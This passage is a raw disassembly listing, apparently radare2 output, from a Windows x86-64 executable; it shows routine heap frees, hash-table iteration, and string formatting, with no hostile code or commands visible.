call fcn.1400024ce
test r13, r13
je 0x14001634d
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, r14
call fcn.140002f50
lea rcx, [rsp + 0x1d0]
call fcn.140002f50
lea rcx, [rsp + 0x6b0]
call fcn.140002e76
xor esi, esi
mov qword [rsp + 0x478], rsi
mov qword [rsp + 0x480], 8
mov qword [rsp + 0x488], rsi
mov rcx, r12
mov rdx, qword [rsp + 0x1b8]
mov r8, qword [rsp + 0x260]
call fcn.140020a80
mov rdx, qword [rsp + 0x550]
mov r8, qword [rsp + 0x558]
mov rcx, r14
call fcn.140020a80
mov r8, qword [rsp + 0x80]
cmp r8, qword [rsp + 0x300]
jne 0x1400163e7
mov rdx, qword [rsp + 0x2f8]
mov rcx, qword [rsp + 0x78]
call fcn.140082380
test eax, eax
sete sil
cmp qword [rsp + 0x2f0], 0
je 0x140016409
mov r8, qword [rsp + 0x2f8]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0x70], 0
je 0x140016425
mov r8, qword [rsp + 0x78]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test sil, sil
jne 0x140016493
mov rdx, qword [rsp + 0x550]
mov r8, qword [rsp + 0x558]
mov rcx, r14
call fcn.140020a80
mov rsi, qword [rsp + 0x488]
cmp rsi, qword [rsp + 0x478]
jne 0x140016461
lea rcx, [rsp + 0x478]
call fcn.140060404
mov rax, qword [rsp + 0x480]
lea rcx, [rsi + rsi*2]
mov rdx, qword [rsp + 0x300]
mov qword [rax + rcx*8 + 0x10], rdx
movdqu xmm0, xmmword [rsp + 0x2f0]
movdqu xmmword [rax + rcx*8], xmm0
inc rsi
mov qword [rsp + 0x488], rsi
mov r8, qword [rsp + 0x568]
mov r9d, 1
test r8, r8
je 0x1400165f5
inc r8
mov edx, 0x48
mov rcx, r14
call fcn.140025af1
mov r15, qword [rsp + 0x2f0]
mov rax, qword [rsp + 0x2f8]
mov rdx, qword [rsp + 0x560]
mov qword [rsp + 0x60], rax
lea r8, [rax + 0x11]
mov rcx, r15
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x68], r8
call fcn.140082480
mov r13, qword [rsp + 0x578]
test r13, r13
je 0x1400165b6
lea rax, [r15 - 0x48]
mov qword [rsp + 0x58], rax
mov r12, qword [rsp + 0x50]
lea rbx, [r12 + 0x10]
movdqa xmm0, xmmword [r12]
pmovmskb eax, xmm0
not eax
mov rbp, r13
test ax, ax
jne 0x140016541
movdqa xmm0, xmmword [rbx]
pmovmskb eax, xmm0
add r12, 0xfffffffffffffb80
add rbx, 0x10
cmp eax, 0xffff
je 0x140016525
not eax
bsf ecx, eax
neg rcx
lea rcx, [rcx + rcx*8]
lea rdi, [r12 + rcx*8]
lea r14d, [rax - 1]
and r14d, eax
mov rdx, qword [rdi - 0x40]
mov r8, qword [rdi - 0x38]
lea rsi, [rsp + 0x2f0]
mov rcx, rsi
call fcn.140020a80
mov rdx, qword [rdi - 0x28]
mov r8, qword [rdi - 0x20]
lea rcx, [rsp + 0x308]
call fcn.140020a80
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
lea rcx, [rsp + 0x320]
call fcn.140020a80
sub rdi, qword [rsp + 0x50]
add rdi, qword [rsp + 0x58]
mov ecx, 9
rep movsq qword [rdi], qword [rsi]
mov eax, r14d
dec rbp
jne 0x140016520
movdqa xmm0, xmmword [r15]
mov r9, qword [rsp + 0x60]
test r9, r9
je 0x140016607
inc r9
mov rax, r9
mov ecx, 0x48
mul rcx
add rax, 0xf
and rax, 0xfffffffffffffff0
mov r8, qword [rsp + 0x68]
add r8, rax
mov rcx, r15
sub rcx, rax
mov eax, 0x10
lea r12, [rsp + 0x70]
jmp 0x140016614
pcmpeqd xmm0, xmm0
lea r15, [0x1400b9030]
xor r13d, r13d
xor eax, eax
jmp 0x140016614
xor eax, eax
lea r12, [rsp + 0x70]
mov r9d, 1
lea rbx, [r15 + 0x10]
pmovmskb r14d, xmm0
not r14d
add r9, r15
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x2f8], r8
mov qword [rsp + 0x300], rcx
mov qword [rsp + 0x308], r15
mov qword [rsp + 0x310], rbx
mov qword [rsp + 0x318], r9
mov word [rsp + 0x320], r14w
mov qword [rsp + 0x328], r13
test r13, r13
je 0x14001679e
test r14w, r14w
jne 0x1400166a3
movdqa xmm0, xmmword [rbx]
pmovmskb r14d, xmm0
add r15, 0xfffffffffffffb80
add rbx, 0x10
cmp r14d, 0xffff
je 0x140016673
not r14d
mov qword [rsp + 0x310], rbx
mov qword [rsp + 0x308], r15
mov eax, r14d
lea r14d, [rax - 1]
and r14d, eax
mov word [rsp + 0x320], r14w
dec r13
bsf eax, eax
neg rax
lea rax, [rax + rax*8]
mov r12, qword [r15 + rax*8 - 0x48]
mov rsi, qword [r15 + rax*8 - 0x40]
mov rcx, qword [r15 + rax*8 - 0x20]
mov qword [rsp + 0x860], rcx
movdqu xmm0, xmmword [r15 + rax*8 - 0x30]
movdqa xmmword [rsp + 0x850], xmm0
mov rcx, r12
neg rcx
jo 0x1400167a3
mov qword [rsp + 0x50], r13
mov rbp, qword [r15 + rax*8 - 0x18]
mov rdi, qword [r15 + rax*8 - 0x10]
mov r13, qword [rsp + 0x488]
cmp r13, qword [rsp + 0x478]
jne 0x140016724
lea rcx, [rsp + 0x478]
call fcn.140060404
mov rax, qword [rsp + 0x480]
lea rcx, [r13*2]
add rcx, r13
mov rdx, qword [rsp + 0x860]
mov qword [rax + rcx*8 + 0x10], rdx
movdqa xmm0, xmmword [rsp + 0x850]
movdqu xmmword [rax + rcx*8], xmm0
inc r13
mov qword [rsp + 0x488], r13
test rbp, rbp
je 0x140016774
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r12, r12
mov r13, qword [rsp + 0x50]
je 0x140016790
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r13, r13
lea r12, [rsp + 0x70]
jne 0x14001666d
xor r13d, r13d
jmp 0x1400167a8
lea r12, [rsp + 0x70]
mov qword [rsp + 0x328], r13
lea r14, [rsp + 0x2f0]
mov rcx, r14
call fcn.140002627
xor eax, eax
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x120], 8
mov qword [rsp + 0x128], rax
mov r8, qword [rsp + 0x5e0]
test r8, r8
je 0x14001729e
inc r8
mov edx, 0x50
mov rcx, r14
call fcn.140025af1
mov r15, qword [rsp + 0x2f0]
mov rax, qword [rsp + 0x2f8]
mov rdx, qword [rsp + 0x5d8]
mov qword [rsp + 0x100], rax
lea r8, [rax + 0x11]
mov rcx, r15
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x68], r8
call fcn.140082480
mov rax, qword [rsp + 0x5f0]
mov qword [rsp + 0x50], rax
test rax, rax
je 0x140016920
lea rax, [r15 - 0x50]
mov qword [rsp + 0x60], rax
mov r12, qword [rsp + 0x58]
lea r13, [r12 + 0x10]
movdqa xmm0, xmmword [r12]
pmovmskb eax, xmm0
not eax
mov rbp, qword [rsp + 0x50]
test ax, ax
jne 0x140016892
movdqa xmm0, xmmword [r13]
pmovmskb eax, xmm0
add r12, 0xfffffffffffffb00
add r13, 0x10
cmp eax, 0xffff
je 0x140016874
not eax
bsf ecx, eax
neg rcx
lea rsi, [rcx + rcx*4]
shl rsi, 4
lea rdi, [r12 + rsi]
lea r14d, [rax - 1]
and r14d, eax
mov rdx, qword [r12 + rsi - 0x48]
mov r8, qword [r12 + rsi - 0x40]
lea rbx, [rsp + 0x2f0]
mov rcx, rbx
call fcn.140020a80
mov rdx, qword [r12 + rsi - 0x30]
mov r8, qword [r12 + rsi - 0x28]
lea rcx, [rsp + 0x308]
call fcn.140020a80
mov eax, dword [r12 + rsi - 0x20]
mov dword [rsp + 0x320], eax
mov rdx, qword [r12 + rsi - 0x10]
mov r8, qword [r12 + rsi - 8]
lea rcx, [rsp + 0x328]
call fcn.140005168
sub rdi, qword [rsp + 0x58]
add rdi, qword [rsp + 0x60]
mov ecx, 0xa
mov rsi, rbx
rep movsq qword [rdi], qword [rsi]
mov eax, r14d
dec rbp
jne 0x14001686f
movdqa xmm0, xmmword [r15]
mov rax, qword [rsp + 0x100]
test rax, rax
sete r9b
je 0x140016954
inc rax
mov ecx, 0x50
mul rcx
add qword [rsp + 0x68], rax
mov rcx, r15
sub rcx, rax
mov qword [rsp + 0x108], rcx
mov r13, qword [rsp + 0x50]
test r13, r13
lea r14, [rsp + 0x2f0]
je 0x1400172a6
mov byte [rsp + 0x100], r9b
pmovmskb r12d, xmm0
not r12d
lea rsi, [r15 + 0x10]
test r12w, r12w
jne 0x1400169a4
movdqa xmm0, xmmword [rsi]
pmovmskb r12d, xmm0
add r15, 0xfffffffffffffb00
add rsi, 0x10
cmp r12d, 0xffff
je 0x140016984
not r12d
mov eax, r12d
lea r12d, [rax - 1]
and r12d, eax
dec r13
bsf eax, eax
neg rax
lea rcx, [rax + rax*4]
shl rcx, 4
mov rax, qword [r15 + rcx - 0x50]
mov rdx, qword [r15 + rcx - 0x28]
mov qword [rsp + 0x1f0], rdx
movups xmm0, xmmword [r15 + rcx - 0x38]
movaps xmmword [rsp + 0x1e0], xmm0
movups xmm0, xmmword [r15 + rcx - 0x48]
movaps xmmword [rsp + 0x1d0], xmm0
mov r14b, byte [r15 + rcx - 0x20]
mov bpl, byte [r15 + rcx - 0x1f]
mov bl, byte [r15 + rcx - 0x1e]
movups xmm0, xmmword [r15 + rcx - 0x10]
movups xmmword [rsp + 0x2cd], xmm0
movdqu xmm0, xmmword [r15 + rcx - 0x1d]
movdqa xmmword [rsp + 0x2c0], xmm0
mov rcx, rax
neg rcx
jo 0x1400172bd
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x1f0]
lea rcx, [rsp + 0x160]
mov qword [rcx - 8], rax
movaps xmm0, xmmword [rsp + 0x1d0]
movaps xmm1, xmmword [rsp + 0x1e0]
movups xmmword [rcx - 0x18], xmm1
movups xmmword [rcx - 0x28], xmm0
lea rcx, [rsp + 0x2c5]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x5c0], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x5b0], xmm0
mov r9, qword [rsp + 0x138]
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
mov rdx, qword [rsp + 0x4f8]
mov r8, qword [rsp + 0x4f0]
call fcn.14004d5d0
mov rdi, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
lea r13, [rsp + 0x2f0]
mov rcx, r13
mov rdx, rdi
call fcn.140022060
cmp byte [rsp + 0x2f0], 0
mov rax, qword [rsp + 0x2f8]
lea rcx, [0x1400b06c6]
cmovne rax, rcx
mov rcx, qword [rsp + 0x300]
mov edx, 7
cmovne rcx, rdx
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x278], rcx
lea rax, [rsp + 0x270]
mov qword [rsp + 0x220], rax
lea rax, [0x14002b9f3]
mov qword [rsp + 0x228], rax
lea rax, [0x1400aa0a8]
mov qword [rsp + 0x2f0], rax
mov ecx, 1
mov qword [rsp + 0x2f8], rcx
mov qword [rsp + 0x310], 0
lea rax, [rsp + 0x220]
mov qword [rsp + 0x300], rax
mov qword [rsp + 0x308], rcx
lea rcx, [rsp + 0x4b8]
mov rdx, r13
call fcn.14001f780
cmp qword [rsp + 0x70], 0
je 0x140016b92
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
movdqu xmm0, xmmword [rsp + 0x4b8]
movdqa xmmword [rsp + 0x490], xmm0
mov rax, qword [rsp + 0x4c8]
mov qword [rsp + 0x4a0], rax
test r14b, 1
je 0x140016ca0
test bpl, 1
je 0x140016ce1
test bl, 1
lea r14, [rsp + 0x2f0]
je 0x140016ddf
lea rax, [rsp + 0x490]
mov qword [rsp + 0x270], rax
lea rax, [0x140005155]
mov qword [rsp + 0x278], rax
lea rax, str.__b_f_n_r_tABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Cannot_bind_control_with_an_handle_of_type
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x2f8], 2
mov qword [rsp + 0x310], 0
lea rax, [rsp + 0x270]
mov qword [rsp + 0x300], rax
mov qword [rsp + 0x308], 1
lea rcx, [rsp + 0x70]
mov rdx, r14
call fcn.14001f780
mov rdi, qword [rsp + 0x128]
cmp rdi, qword [rsp + 0x118]
jne 0x140016c67
lea rcx, [rsp + 0x118]
call fcn.140060404
mov rax, qword [rsp + 0x120]
lea rcx, [rdi + rdi*2]
mov rdx, qword [rsp + 0x80]
mov qword [rax + rcx*8 + 0x10], rdx
movdqu xmm0, xmmword [rsp + 0x70]
movdqu xmmword [rax + rcx*8], xmm0
inc rdi
mov qword [rsp + 0x128], rdi
mov r13, qword [rsp + 0x50]
jmp 0x140016dab
cmp qword [rsp + 0x490], 0
mov r13, qword [rsp + 0x50]
je 0x140016cc7
mov r8, qword [rsp + 0x498]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rsp + 0x5b0]
call fcn.14000393a
lea r14, [rsp + 0x2f0]
jmp 0x140017218
lea rax, [rsp + 0x490]
mov qword [rsp + 0x270], rax
lea rax, [0x140005155]
mov qword [rsp + 0x278], rax
lea rax, str.__b_f_n_r_tABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Cannot_bind_control_with_an_handle_of_type
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x2f8], 2
mov qword [rsp + 0x310], 0
lea rax, [rsp + 0x270]
mov qword [rsp + 0x300], rax
mov qword [rsp + 0x308], 1
lea rcx, [rsp + 0x70]
lea r14, [rsp + 0x2f0]
mov rdx, r14
call fcn.14001f780
mov rdi, qword [rsp + 0x128]
cmp rdi, qword [rsp + 0x118]
mov r13, qword [rsp + 0x50]
jne 0x140016d7c
lea rcx, [rsp + 0x118]
call fcn.140060404
mov rax, qword [rsp + 0x120]
lea rcx, [rdi + rdi*2]
mov rdx, qword [rsp + 0x80]
mov qword [rax + rcx*8 + 0x10], rdx
movdqu xmm0, xmmword [rsp + 0x70]
movdqu xmmword [rax + rcx*8], xmm0
inc rdi
mov qword [rsp + 0x128], rdi
cmp qword [rsp + 0x490], 0
je 0x140016dcd
mov r8, qword [rsp + 0x498]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rsp + 0x5b0]
call fcn.14000393a
jmp 0x140017218
mov rcx, qword [rsp + 0x5b0]
mov rax, qword [rsp + 0x5b8]
mov rdx, qword [rsp + 0x5c0]
lea r8, [rdx + rdx*8]
lea rbx, [rax + r8*8]
mov qword [rsp + 0x220], rax
mov qword [rsp + 0x228], rax
mov qword [rsp + 0x230], rcx
mov qword [rsp + 0x238], rbx
test rdx, rdx
je 0x1400171e4
lea r13, [rax + 0x48]
mov qword [rsp + 0x228], r13
mov rcx, qword [rax]
mov rdx, rcx
neg rdx
jo 0x1400171e4
mov qword [rsp + 0x2f0], rcx
movdqu xmm0, xmmword [rax + 8]
movups xmm1, xmmword [rax + 0x18]
movups xmm2, xmmword [rax + 0x28]
movups xmm3, xmmword [rax + 0x38]
lea rax, [rsp + 0x2f8]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov rdx, qword [rsp + 0x498]
mov r8, qword [rsp + 0x4a0]
mov r9, qword [rsp + 0x320]
mov rax, qword [rsp + 0x328]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x270]
call fcn.14004d5d0
mov rdi, qword [rsp + 0x278]
mov rdx, qword [rsp + 0x280]
xor eax, eax
mov qword [rsp + 0x500], rax
mov qword [rsp + 0x508], 1
mov qword [rsp + 0x510], rax
mov qword [rsp + 0xa0], 0x20
mov byte [rsp + 0xa8], 3
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x500]
mov qword [rsp + 0x90], rax
lea rax, [0x14008aa38]
mov qword [rsp + 0x98], rax
mov rcx, rdi
lea r8, [rsp + 0x70]
call fcn.140045730
test al, al
jne 0x140018e3c
movdqu xmm0, xmmword [rsp + 0x500]
movdqa xmmword [rsp + 0x6b0], xmm0
mov rax, qword [rsp + 0x510]
mov qword [rsp + 0x6c0], rax
cmp qword [rsp + 0x270], 0
je 0x140016f68
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp byte [rsp + 0x330], 0
je 0x1400171ae
cmp byte [rsp + 0x332], 0
jne 0x1400171ae
cmp byte [rsp + 0x331], 0
je 0x1400170ef
mov qword [rsp + 0x60], rbx
mov rax, qword [rsp + 0x488]
test rax, rax
je 0x14001701e
mov r14, qword [rsp + 0x480]
mov rcx, qword [rsp + 0x2f8]
mov qword [rsp + 0x58], rcx
mov rbx, qword [rsp + 0x300]
shl rax, 3
lea rbp, [rax + rax*2]
xor edi, edi
mov rax, qword [r14 + rdi + 0x10]
cmp rax, 7
jne 0x140016ff6
mov rcx, qword [r14 + rdi + 8]
mov edx, dword [rcx]
mov r8d, 0x6e6b6e55
xor edx, r8d
mov ecx, dword [rcx + 3]
mov r8d, 0x6e776f6e
xor ecx, r8d
or ecx, edx
je 0x140017015
cmp rax, rbx
jne 0x140017015
mov rcx, qword [r14 + rdi + 8]
mov rdx, qword [rsp + 0x58]
mov r8, rbx
call fcn.140082380
test eax, eax
je 0x140017233
add rdi, 0x18
cmp rbp, rdi
jne 0x140016fcb
lea rax, [rsp + 0x6b0]
mov qword [rsp + 0x500], rax
lea rax, [0x140005155]
mov qword [rsp + 0x508], rax
lea rax, str.__b_f_n_r_tABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Cannot_bind_control_with_an_handle_of_type
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x500]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rcx, [rsp + 0x270]
lea rdx, [rsp + 0x70]
call fcn.14001f780
mov rdi, qword [rsp + 0x128]
cmp rdi, qword [rsp + 0x118]
jne 0x1400170ab
lea rcx, [rsp + 0x118]
call fcn.140060404
mov rax, qword [rsp + 0x120]
lea rcx, [rdi + rdi*2]
mov rdx, qword [rsp + 0x280]
mov qword [rax + rcx*8 + 0x10], rdx
movdqu xmm0, xmmword [rsp + 0x270]
movdqu xmmword [rax + rcx*8], xmm0
inc rdi
mov qword [rsp + 0x128], rdi
lea r14, [rsp + 0x2f0]
mov rbx, qword [rsp + 0x60]
jmp 0x1400171ae
lea rax, [rsp + 0x6b0]
mov qword [rsp + 0x500], rax
lea rax, [0x140005155]
mov qword [rsp + 0x508], rax
lea rax, str.__b_f_n_r_tABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Cannot_bind_control_with_an_handle_of_type
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x500]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rcx, [rsp + 0x270]
lea rdx, [rsp + 0x70]
call fcn.14001f780
mov rdi, qword [rsp + 0x128]
cmp rdi, qword [rsp + 0x118]
jne 0x14001717c
lea rcx, [rsp + 0x118]
call fcn.140060404
mov rax, qword [rsp + 0x120]
lea rcx, [rdi + rdi*2]
mov rdx, qword [rsp + 0x280]
mov qword [rax + rcx*8 + 0x10], rdx
movdqu xmm0, xmmword [rsp + 0x270]
movdqu xmmword [rax + rcx*8], xmm0
inc rdi
mov qword [rsp + 0x128], rdi
cmp qword [rsp + 0x6b0], 0
je 0x1400171d0
mov r8, qword [rsp + 0x6b8]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, r14
call fcn.14000280b
mov rax, r13
cmp r13, rbx
jne 0x140016e28
lea rcx, [rsp + 0x220]
call fcn.140003b40
cmp qword [rsp + 0x490], 0
je 0x140017213
mov r8, qword [rsp + 0x498]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r13, qword [rsp + 0x50]
lea rcx, [rsp + 0x130]
call fcn.14000280b
test r13, r13
jne 0x14001697e
jmp 0x140017329
cmp qword [rsp + 0x6b0], 0
je 0x140017255
mov r8, qword [rsp + 0x6b8]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea r14, [rsp + 0x2f0]
mov rcx, r14
call fcn.14000280b
lea rcx, [rsp + 0x220]
call fcn.140003b40
cmp qword [rsp + 0x490], 0
mov r13, qword [rsp + 0x50]
je 0x140017218
mov r8, qword [rsp + 0x498]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140017218
mov r9b, 1
jmp 0x140017343
lea r12, [rsp + 0x70]
mov rax, qword [rsp + 0x68]
mov r8, qword [rsp + 0x108]
jmp 0x140017343
lea r14, [rsp + 0x2f0]
test r13, r13
je 0x140017329
test r12w, r12w
jne 0x1400172f0
movdqa xmm0, xmmword [rsi]
pmovmskb r12d, xmm0
add r15, 0xfffffffffffffb00
add rsi, 0x10
cmp r12d, 0xffff
je 0x1400172d0
not r12d
bsf eax, r12d
neg rax
lea rdi, [rax + rax*4]
shl rdi, 4
lea ebx, [r12 - 1]
and ebx, r12d
lea rcx, [r15 + rdi]
add rcx, 0xffffffffffffffb0
call fcn.14000280b
lea rcx, [r15 + rdi]
add rcx, 0xffffffffffffffe8
call fcn.14000393a
mov r12d, ebx
dec r13
jne 0x1400172ca
lea r12, [rsp + 0x70]
mov rax, qword [rsp + 0x68]
mov r8, qword [rsp + 0x108]
mov r9b, byte [rsp + 0x100]
test r9b, r9b
jne 0x14001735c
test rax, rax
je 0x14001735c
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdx, qword [rsp + 0x120]
mov r8, qword [rsp + 0x128]
mov esi, 2
mov qword [rsp + 0x20], rsi
mov rcx, r12
lea r9, [0x1400b15c1]
call fcn.1400641b8
mov qword [rsp + 0x1d0], r12
lea rax, [0x140005155]
mov qword [rsp + 0x1d8], rax
lea rax, [0x1400aab60]
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x2f8], rsi
mov qword [rsp + 0x310], 0
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x300], rax
mov qword [rsp + 0x308], 1
lea rcx, [rsp + 0x130]
mov rdx, r14
call fcn.14001f780
cmp qword [rsp + 0x70], 0
je 0x140017407
mov r8, qword [rsp + 0x78]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rsp + 0x5a8]
cmp rsi, qword [rsp + 0x598]
jne 0x140017426
lea rcx, [rsp + 0x598]
call fcn.140060404
mov rax, qword [rsp + 0x5a0]
lea rcx, [rsi + rsi*2]
mov rdx, qword [rsp + 0x140]
mov qword [rax + rcx*8 + 0x10], rdx
movdqu xmm0, xmmword [rsp + 0x130]
movdqu xmmword [rax + rcx*8], xmm0
inc rsi
mov qword [rsp + 0x5a8], rsi
mov rsi, qword [rsp + 0x120]
mov rdx, qword [rsp + 0x128]
mov rcx, rsi
call fcn.14005f591
cmp qword [rsp + 0x118], 0
je 0x14001748d
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rsp + 0x480]
mov rdx, qword [rsp + 0x488]
mov rcx, rsi
call fcn.14005f591
cmp qword [rsp + 0x478], 0
je 0x1400174c2
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0x540], 0
je 0x140017969
mov rbx, qword [rsp + 0x558]
test rbx, rbx
je 0x140017969
mov r15, qword [rsp + 0x550]
cmp qword [rsp + 0x260], rbx
jne 0x140017514
mov rcx, qword [rsp + 0x1b8]
mov rdx, r15
mov r8, qword [rsp + 0x260]
call fcn.140082380
test eax, eax
je 0x140017969
mov rsi, qword [rsp + 0x5d8]
mov rdi, qword [rsp + 0x5f0]
mov rcx, rsi
mov rdx, rdi
mov r8, r15
mov r9, rbx
call fcn.14001a6df
test rax, rax
je 0x1400175d6
mov r9, qword [rax + 8]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea rsi, [rsp + 0x8a0]
mov rcx, rsi
mov rdx, qword [rsp + 0x4f8]
mov r8, qword [rsp + 0x4f0]
call fcn.140011623
mov rcx, qword [rsp + 0x5d8]
mov rdx, qword [rsp + 0x5f0]
mov r8, qword [rsp + 0x550]
mov r9, qword [rsp + 0x558]
call fcn.14001a7c9
test al, al
je 0x1400177bc
cmp byte [rsp + 0x592], 0
jne 0x140018e03
cmp qword [rsp + 0x8a0], 0
je 0x140017969
mov r8, qword [rsp + 0x8a8]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140017969
xor eax, eax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 8
mov qword [rsp + 0x80], rax
test rdi, rdi
je 0x140017817
lea r15, [rsi + 0x10]
movdqa xmm0, xmmword [rsi]
pmovmskb eax, xmm0
not eax
mov ecx, 8
mov qword [rsp + 0x50], rcx
xor ebx, ebx
test ax, ax
jne 0x140017633
movdqa xmm0, xmmword [r15]
pmovmskb eax, xmm0
add rsi, 0xfffffffffffffb00
add r15, 0x10
cmp eax, 0xffff
je 0x140017616
not eax
mov r14d, eax
bsf eax, r14d
neg rax
lea r12, [rax + rax*4]
shl r12, 4
cmp byte [rsi + r12 - 0x1f], 0
je 0x14001773d
lea r13, [rsi + r12]
mov r8, qword [rsp + 0x5d0]
cmp qword [r13 - 0x40], r8
jne 0x14001773d
mov rcx, qword [r13 - 0x48]
mov rdx, qword [rsp + 0x6a8]
call fcn.140082380
test eax, eax
jne 0x14001773d
mov r8, qword [rsp + 0x6a0]
cmp qword [r13 - 0x28], r8
jne 0x14001773d
mov rcx, qword [r13 - 0x30]
mov rdx, qword [rsp + 0x7c8]
call fcn.140082380
test eax, eax
jne 0x14001773d
mov rax, qword [r13 - 8]
test rax, rax
je 0x14001773d
lea r8, [rsi + r12]
add r8, 0xffffffffffffffb0
mov r13, qword [r13 - 0x10]
lea rbp, [r13 + 0x18]
shl rax, 3
lea r11, [rax + rax*8]
xor r12d, r12d
mov qword [rsp + 0x60], r8
cmp byte [r13 + r12 + 0x40], 0
jne 0x140017734
cmp rbx, qword [rsp + 0x70]
jne 0x140017710
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x58], rbx
mov rbx, r11
call fcn.140005117
mov r11, rbx
mov r8, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x50], rax
lea rax, [r12 + rbp]
mov rcx, rbx
shl rcx, 4
mov rdx, qword [rsp + 0x50]
mov qword [rdx + rcx], r8
mov qword [rdx + rcx + 8], rax
inc rbx
mov qword [rsp + 0x80], rbx
add r12, 0x48
cmp r11, r12
jne 0x1400176d8
lea eax, [r14 - 1]
and eax, r14d
dec rdi
jne 0x140017611
mov rax, qword [rsp + 0x70]
test rbx, rbx
je 0x1400177e7
mov rcx, qword [rsp + 0x78]
shl rbx, 4
add rbx, rcx
mov qword [rsp + 0x2f0], rcx
mov qword [rsp + 0x300], rax
mov qword [rsp + 0x2f8], rcx
mov qword [rsp + 0x308], rbx
call fcn.14002bbc7
mov rbx, rax
lea r14, [rsp + 0x2f0]
mov rcx, r14
mov rdx, rax
call fcn.1400046b5
test rax, rax
lea r12, [rsp + 0x70]
je 0x14001780f
mov rdi, rax
mov rsi, rdx
mov rcx, rbx
call fcn.1400272cc
jmp 0x140017837
mov rcx, r14
mov rdx, rsi
call fcn.140002004
mov rcx, r12
mov rdx, r14
call fcn.14004def0
mov rcx, r12
call fcn.140003ac5
mov rcx, r14
call fcn.1400028aa
jmp 0x140017969
test rax, rax
lea r14, [rsp + 0x2f0]
lea r12, [rsp + 0x70]
je 0x140017817
mov r8, qword [rsp + 0x78]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140017817
mov rcx, rbx
call fcn.1400272cc
mov rcx, qword [rsp + 0x5d8]
mov rdx, qword [rsp + 0x5f0]
call fcn.14001a541
test rax, rax
je 0x14001783b
mov rdi, rax
mov rsi, rdx
xor ebx, ebx
jmp 0x14001785d
lea rdi, [rsp + 0x130]
mov rcx, rdi
call fcn.1400077d1
lea rsi, [rsp + 0x270]
mov rcx, rsi
call fcn.140009074
mov bl, 1
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
mov rcx, r12
call fcn.140020a80
mov rdx, qword [rdi + 0x20]
mov r8, qword [rdi + 0x28]
lea rcx, [rsp + 0x88]
call fcn.140020a80
